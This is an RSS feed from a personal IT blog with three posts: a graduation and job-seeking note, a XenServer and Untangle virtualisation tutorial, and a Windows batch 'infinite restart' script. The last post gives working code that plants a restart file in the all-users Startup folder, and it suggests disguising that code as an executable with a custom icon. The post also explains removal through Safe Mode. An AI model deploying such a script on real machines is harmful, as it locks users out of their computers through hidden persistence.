<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Andrew DeFilippis &#187; Windows</title>
	<atom:link href="http://www.andrewdefilippis.com/tag/windows/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.andrewdefilippis.com</link>
	<description>Security oriented leader with an Information Technology and Customer Service background</description>
	<lastBuildDate>Sat, 28 Jan 2012 07:19:55 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Computer Networking and Information Systems Security, Check!</title>
		<link>http://www.andrewdefilippis.com/2011/03/25/computer-networking-and-information-systems-security-check/</link>
		<comments>http://www.andrewdefilippis.com/2011/03/25/computer-networking-and-information-systems-security-check/#comments</comments>
		<pubDate>Fri, 25 Mar 2011 07:53:13 +0000</pubDate>
		<dc:creator>Andrew DeFilippis</dc:creator>
				<category><![CDATA[Daily Blah]]></category>
		<category><![CDATA[administration]]></category>
		<category><![CDATA[associate degree]]></category>
		<category><![CDATA[career]]></category>
		<category><![CDATA[Clover Park Technical College]]></category>
		<category><![CDATA[CNISS]]></category>
		<category><![CDATA[Computer Networking and Information Systems Security]]></category>
		<category><![CDATA[CPTC]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[graduate]]></category>
		<category><![CDATA[information technology]]></category>
		<category><![CDATA[job]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.andrewdefilippis.com/?p=393</guid>
		<description><![CDATA[As of the 22nd of March, 2011, I have graduated from Clover Park Technical College with an Associate Degree in Computer Networking and Information Systems Security. To further educate myself, gain experience, and also make use of my spare time while searching for employment, I am continuing my internship in the Information Technology department on [...]]]></description>
			<content:encoded><![CDATA[<p>As of the 22nd of March, 2011, I have graduated from Clover Park Technical College with an Associate Degree in Computer Networking and Information Systems Security.</p>
<p>To further educate myself, gain experience, and also make use of my spare time while searching for employment, I am continuing my internship in the Information Technology department on campus.  I hope that one of the employers who have posted job openings, of which I have applied for, will contact me soon for an interview.  The best positions I could hope for, would be Linux administration, Windows administration, entry-level database administration, and network administration.</p>
<p>As a side note, if you are reading this and work for, or manage an Information Technology company or department that is currently hiring for positions mentioned above, please contact me using the email address in my &#8220;About Me&#8221; page.  I am immediately available for hire, and can work any day of the week.  I would prefer morning, or evening hours, but will work graveyard hours on a temporary basis.</p>
<p>Here&#8217;s to hoping that this blog post pays off!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.andrewdefilippis.com/2011/03/25/computer-networking-and-information-systems-security-check/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>XenServer: Protecting Ubuntu with Untangle</title>
		<link>http://www.andrewdefilippis.com/2010/04/18/xenserver-protecting-ubuntu-with-untangle/</link>
		<comments>http://www.andrewdefilippis.com/2010/04/18/xenserver-protecting-ubuntu-with-untangle/#comments</comments>
		<pubDate>Sun, 18 Apr 2010 08:17:23 +0000</pubDate>
		<dc:creator>Andrew DeFilippis</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[Attack Blocker]]></category>
		<category><![CDATA[Bare Metal]]></category>
		<category><![CDATA[Firewall]]></category>
		<category><![CDATA[Hypervisor]]></category>
		<category><![CDATA[Intrusion Detection]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[OpenXenCenter]]></category>
		<category><![CDATA[Protocol Control]]></category>
		<category><![CDATA[resolution]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[Setup]]></category>
		<category><![CDATA[Spyware Blocker]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Untangle]]></category>
		<category><![CDATA[Virtual Machine]]></category>
		<category><![CDATA[Virus Blocker]]></category>
		<category><![CDATA[Web Filter]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[XenCenter]]></category>
		<category><![CDATA[XenServer]]></category>
		<category><![CDATA[xorg.conf]]></category>

		<guid isPermaLink="false">http://www.andrewdefilippis.com/?p=312</guid>
		<description><![CDATA[This is a tutorial on how to install and protect Ubuntu with Untangle, while both run as virtual machines within XenServer. This setup allows you to protect one virtual machine with a second virtual machine on the same physical system. The biggest advantages to this setup include a lower cost of energy, lower cost of [...]]]></description>
			<content:encoded><![CDATA[<p>This is a tutorial on how to install and protect Ubuntu with Untangle, while both run as virtual machines within XenServer.  This setup allows you to protect one virtual machine with a second virtual machine on the same physical system.  The biggest advantages to this setup include a lower cost of energy, lower cost of hardware and smaller physical footprint.</p>
<p>The image below shows Ubuntu and Untangle being displayed using the XenCenter Management Console.  Untangle is blocking Ubuntu from accessing Facebook.</p>
<p>Click on the image to enarge it.</p>
<p><center><br />
<a href="http://www.andrewdefilippis.com/uploads/Pictures/XenServer-Untangle-Ubuntu.jpg" target="_blank"><img src="http://www.andrewdefilippis.com/uploads/Pictures/XenServer-Untangle-Ubuntu_thumb.jpg" alt="" width="600" height="450" /></a><br />
</center></p>
<p><strong>What you will need:</strong></p>
<ul>
<li>XenServer-5.5.0-Update2-install-cd.iso (<a href="http://www.citrix.com/lang/English/lp/lp_1688615.asp">Here</a>)</li>
<li>XenServer-5.5.0-Update2-linux-cd.iso (<a href="http://www.citrix.com/lang/English/lp/lp_1688615.asp">Here</a>)</li>
<li>XenServer-5.5.0-Update2-XenCenter.msi (<a href="http://www.citrix.com/lang/English/lp/lp_1688615.asp">Here</a>)</li>
<li>ubuntu-9.10-desktop-amd64.iso (<a href="http://www.ubuntu.com/GetUbuntu/download">Here</a>)</li>
<li>untangle_720_amd64.iso (<a href="http://www.untangle.com/Downloads/Download-ISO">Here</a>)</li>
<li>Two CD-RW discs or 4 CD-R discs</li>
<li>One dedicated server</li>
<li>One workstation computer</li>
</ul>
<p><strong>Instructions:</strong></p>
<ol>
<li>Burn the XenServer Install CD ISO to one of your CD&#8217;s and burn the XenServer Linux CD ISO to one of the other CD&#8217;s.</li>
<li>Install XenCenter onto your Windows workstation. (Linux users can use <a href="http://www.openxencenter.com/">OpenXenCenter</a>).</li>
<li>Insert the XenServer CD into your server and boot to the disc drive.</li>
<li>Follow the prompts to install and configure your server, including setting a static IP address.</li>
<li>When asked to do so, insert the Linux Guest Support CD into the server&#8217;s disc drive and continue with the install.</li>
<li>After the install is finished, boot to the hard drive where you installed XenServer.</li>
<li>Connect to your XenServer using XenCenter on your workstation.  Enter the static IP address you set and the root password you created during the configuration of your server.</li>
<li>Check the box next to your server in the activation window.  Click on Activate, enter the information into the browser activation form and submit it.</li>
<li>After registering, you will receive an email that includes the license key as an attachment.  Save the license file to your hard drive.</li>
<li>In XenCenter, go to Server &gt; Install License Key, navigate to the folder where license.xslic is located and click Open.</li>
<li>Create a single virtual internal network.  (Click on your server, Network tab &gt; Add Network &gt; Internal Network)</li>
<li>Create one virtual machine for Untangle, giving it the physical external network and virtual internal network.  (VM &gt; New | Template &#8220;Other Install Media&#8221; | Name &#8220;Untangle&#8221; | Location &#8220;Physical DVD Drive&#8221; | CPU &amp; Memory &#8220;Initial Memory 1024MB&#8221; | Virtual Disks &#8220;Add&#8221; &gt; 70GB | Virtual Interfaces &#8220;External Physical &amp; Internal Virtual&#8221;)</li>
<li>Create one virtual machine for Ubuntu, giving it ONLY the virtual internal network.  (VM &gt; New | Template &#8220;Other Install Media&#8221; | Name &#8220;Ubuntu&#8221; | Location  &#8220;Physical DVD Drive&#8221; | CPU &amp; Memory &#8220;Initial Memory 2048MB&#8221; |  Virtual Disks &#8220;Add&#8221; &gt; 100GB | Virtual Interfaces &#8220;Internal Virtual&#8221;)</li>
<li>Erase the first CD-RW, or burn Ubuntu to one of the empty CD-R discs.</li>
<li>Erase the second CD-RW, or burn Untangle to one of the empty CD-R discs.</li>
<li>Insert the Ubuntu CD into the server&#8217;s disc drive, start the Ubuntu VM and run the install using the Normal Mode.</li>
<li>Insert the Untangle CD into the server&#8217;s disc drive, start the Untangle VM and run the install using the Expert Mode. (During the install you can only use the keyboard.  After it finishes, the mouse is usable.)</li>
</ol>
<p>After installing, Ubuntu will load to its desktop and Untangle to its initial startup screen.  Finish the Untangle setup and close the browser window.  You should now see the options menu at the bottom of the screen.  We are going to need to use the terminal to change the screen resolution.</p>
<p><strong>Fixing the screen resolution:</strong></p>
<p>In Untangle, open the terminal and enter the root password you created during the install.  Enter the following into the terminal:</p>
<blockquote><p>cd /etc/X11<br />
cp xorg.conf xorg.conf.bak<br />
editor xorg.conf</p>
<p><strong>Enter or change what is shown below:</strong></p>
<p>Section &#8220;Monitor&#8221;<br />
Identifier   &#8220;Configured Monitor&#8221;<br />
HorizSync    40.00 &#8211; 150.00<br />
VertRefresh  60.0<br />
VendorName   &#8220;Generic&#8221;<br />
ModelName    &#8220;Generic&#8221;<br />
EndSection</p>
<p>Section &#8220;Screen&#8221;<br />
Identifier   &#8220;Default Screen&#8221;<br />
Device   &#8220;Configured Video Device&#8221;<br />
Monitor   &#8220;Configured Monitor&#8221;<br />
SubSection &#8220;Display&#8221;<br />
Viewport   0 0<br />
Depth   24<br />
EndSubSection<br />
EndSection</p></blockquote>
<p>In Ubuntu, open the terminal and enter the root password you created during the install.  Enter the following into the terminal:</p>
<blockquote><p>sudo passwd root<br />
sudo X -configure<br />
cp /etc/X11/xorg.conf /etc/X11/xorg.conf.bak<br />
cd /<br />
sudo gedit xorg.conf.new</p>
<p><strong>Edit the monitor section to be:</strong></p>
<p>Section &#8220;Monitor&#8221;<br />
Identifier   &#8220;Monitor0&#8243;<br />
HorizSync    40.00 &#8211; 150.00<br />
VertRefresh  60.0<br />
VendorName   &#8220;Generic&#8221;<br />
ModelName    &#8220;Generic&#8221;<br />
EndSection</p>
<p><strong>Click on: File &gt; Save As</strong><strong> &gt; Folder (/etc/X11)</strong><strong> | xorg.conf</strong></p>
<p><strong>Log off and sign in</strong></p></blockquote>
<p>The resolution should now be 1152&#215;864 in Ubuntu and 1024&#215;768 in Untangle.</p>
<p><strong>You have accomplished:</strong></p>
<ul>
<li>Installing the bare metal hypervisor XenServer onto a dedicated server.</li>
<li>Configuring two virtual machines to communicate over a virtual network connection.</li>
<li>Modifying xorg.conf to be able to use a larger resolution.</li>
<li>Protecting one operating system, with a second operating system.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.andrewdefilippis.com/2010/04/18/xenserver-protecting-ubuntu-with-untangle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>An Infinite Restart Script for Windows Operating Systems</title>
		<link>http://www.andrewdefilippis.com/2010/02/22/an-infinite-restart-script-for-windows-operating-systems/</link>
		<comments>http://www.andrewdefilippis.com/2010/02/22/an-infinite-restart-script-for-windows-operating-systems/#comments</comments>
		<pubDate>Tue, 23 Feb 2010 02:45:06 +0000</pubDate>
		<dc:creator>Andrew DeFilippis</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[Batch]]></category>
		<category><![CDATA[CNISS]]></category>
		<category><![CDATA[Computer]]></category>
		<category><![CDATA[CPTC]]></category>
		<category><![CDATA[Executable]]></category>
		<category><![CDATA[Infinite]]></category>
		<category><![CDATA[Log Off]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Operating System]]></category>
		<category><![CDATA[Program]]></category>
		<category><![CDATA[Restart]]></category>
		<category><![CDATA[Script]]></category>
		<category><![CDATA[Shutdown]]></category>
		<category><![CDATA[Startup]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.andrewdefilippis.com/?p=286</guid>
		<description><![CDATA[In one of my classes at CPTC, we started to learn how to write Windows Batch Scripts. Myself and a few of my classmates almost got into trouble (not really though) a few weeks ago, by sending messages through the use of shutdown commands over the LAN. Last week, I started to think about how [...]]]></description>
			<content:encoded><![CDATA[<p>In one of my classes at CPTC, we started to learn how to write Windows Batch Scripts.  Myself and a few of my classmates almost got into trouble (not really though) a few weeks ago, by sending messages through the use of shutdown commands over the LAN.  Last week, I started to think about how could I have the computer restart every time a user tries to log on to their computer.  Finally, after shifting code around for a while, I came up with a reliable script to do what I wanted it to do.</p>
<p>Upon execution, this Windows Batch Script will create a file called &#8220;restart.bat&#8221; that includes the command to immediately restart the computer.  This file is then moved to the Startup folder for all users.  After the file is moved, the user that is currently logged in will be logged off.  When the user attempts to log on to the computer again, the computer will restart.  Now every time the user tries to log on to the computer, it will automatically restart.</p>
<p>This is a script that will annoy just about everyone.  One change that I have come up with is to package the restart script into an executable, then package that executable into a second executable, which includes a script that is similar to what you see below.  Now instead of running a script, you run an executable with your own icon.  The result is exactly the same, but masking it behind an executable makes it so that the user cannot view the code.</p>
<p><span style="color: #ff0000;">To remove the restart script/executable from your Startup folder, you have to boot into Safe Mode.  This can be done by pressing the F8 key on your keyboard, before the Windows loading bar screen appears.  After you boot into Safe Mode, go to (Start &gt; All Programs &gt; Startup) and delete the file that is causing your computer to restart. If the script used is the one below, then you would delete restart.bat.<br />
</span></p>
<blockquote><p>:: Windows OS Infinite Restart Script<br />
:: This script will cause a Windows OS to immediately restart after logging in to a user account.<br />
:: Created by Andrew R. DeFilippis on February 22, 2010<br />
:: http://www.andrewdefilippis.com/</p>
<p>@ECHO OFF<br />
:: Disable echo commands from printing on screen</p>
<p>ECHO ^@ECHO OFF &gt; restart.bat<br />
ECHO SHUTDOWN /r /t 0 &gt;&gt; restart.bat<br />
ECHO EXIT &gt;&gt; restart.bat</p>
<p>VER | FIND &#8220;5.1&#8243; &gt; NUL<br />
IF ERRORLEVEL 0 GOTO OLD<br />
VER | FIND &#8220;5.2&#8243; &gt; NUL<br />
IF ERRORLEVEL 0 GOTO OLD<br />
:: Determine what OS version is being used</p>
<p>GOTO NEW<br />
:: If OS version 5.1 or 5.2 is not found, then go to NEW</p>
<p>:OLD<br />
MOVE &#8220;restart.bat&#8221; &#8220;C:\Documents and Settings\All Users\Start Menu\Programs\Startup\restart.bat&#8221;<br />
SHUTDOWN /l /f<br />
EXIT<br />
:: Inject the restart script into older Windows OS&#8217;s<br />
:: Then log off the current user</p>
<p>:NEW<br />
MOVE &#8220;restart.bat&#8221; &#8220;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\restart.bat&#8221;<br />
SHUTDOWN /l /f<br />
EXIT<br />
:: Inject the restart script into newer Windows OS&#8217;s<br />
:: Then log off the current user</p></blockquote>
<p style="text-align: center;"><strong>This script is posted for educational purposes only.</strong></p>
<p style="text-align: center;"><strong>I am NOT liable for the use and/or misuse of this script.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.andrewdefilippis.com/2010/02/22/an-infinite-restart-script-for-windows-operating-systems/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

